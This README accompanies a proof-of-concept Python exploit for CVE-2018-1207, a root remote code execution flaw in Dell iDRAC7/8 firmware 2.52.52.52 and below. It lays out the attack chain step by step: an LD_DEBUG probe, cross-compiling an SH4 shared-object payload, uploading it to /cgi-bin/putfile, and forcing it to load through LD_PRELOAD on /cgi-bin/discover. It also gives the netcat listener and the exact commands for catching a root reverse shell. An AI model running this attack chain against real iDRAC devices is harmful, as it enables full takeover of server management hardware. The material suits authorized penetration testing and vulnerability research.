
Reverse Shell CVE for iDRAC 7 & 8 with firmware 2.52.52.52 and below.
This repository contains a Proof of Concept python script to demonstrate a remote code execution exploit present in iDRAC7 and iDRAC8 devices with firmware versions 2.52.52.52 and below. This exploit allows attacks to run code as a root level user, which can lead to a total system takeover. In the code, we show this by running a reverse shell attack using the exploit. The code in this repository is an edited version of the original exploit by Michael Gargiullo (mgargiullo).
Disclaimer - This code is provided for educational purposes only. You may not use this script to attack devices you do not own or do not have explicit, written consent to do so. Using this script on systems without proper authorization is illegal. I am not responsible for any misuse or damage caused by this tool. Unauthorized use can lead to severe legal consequences, including fines and jail time.
?LD_DEBUG=files. If the response includes debugging content showing which libary files it's trying to load, then we know it's vulnerable.sh4-linux-gnu-gcc. Since the iDRAC runs on a SuperH (SH4) processor architecture, we need to compile code into a shared object (.so) so it can be executed by the iDRAC.POST request to /cgi-bin/putfile to where it saves the file to /tmp/sshpkauthupload.tmp.GET request to /cgi-bin/discover with the ?LD_PRELOAD=/tmp/sshpkauthupload.tmp parameter. This forces the iDRAC to load a specified library before any other library, which then loads the modified .so file from the /tmp/ directory.constructor function, the code is instantly ran upon being loaded, resulting in a reverse shell as the root user (the user with the highest permissions on a linux based system).Before running the script, please ensure you have the following:
Python3
Python3's requests module (can be installed via pip install requests)
SH4 C Cross-Compiler (can be installed via sudo apt install gcc-sh4-linux-gnu)
Without these requirements, you will experience issues and the exploit will not be able to fully run! No checks are in place to ensure you have these requirements met.
Start a listener on your machine to catch the reverse shell, use netcat for this.
nc -lvnp <LPORT>
Replace <LPORT> with the port you want to listen on (e.g., 5000).
Run the script with the required arguments.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: The IP address of the target iDRAC.--rport: The port of the iDRAC web interface (usually 443).--lhost: Your local IP address for the reverse shell to connect back to.--lport: Your local port that the Netcat listener is running on.--keep-payload: (Optional) If set, the script will not delete payload.c and payload.so from your machine after execution.Attacker Machine (IP: 192.168.1.100) - Start the listener.
nc -lvnp 5000
Attacker's machine - Run the exploit targeting an iDRAC at 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
If successful, you will receive a shell session in your Netcat terminal to where you can run commands such as racadm.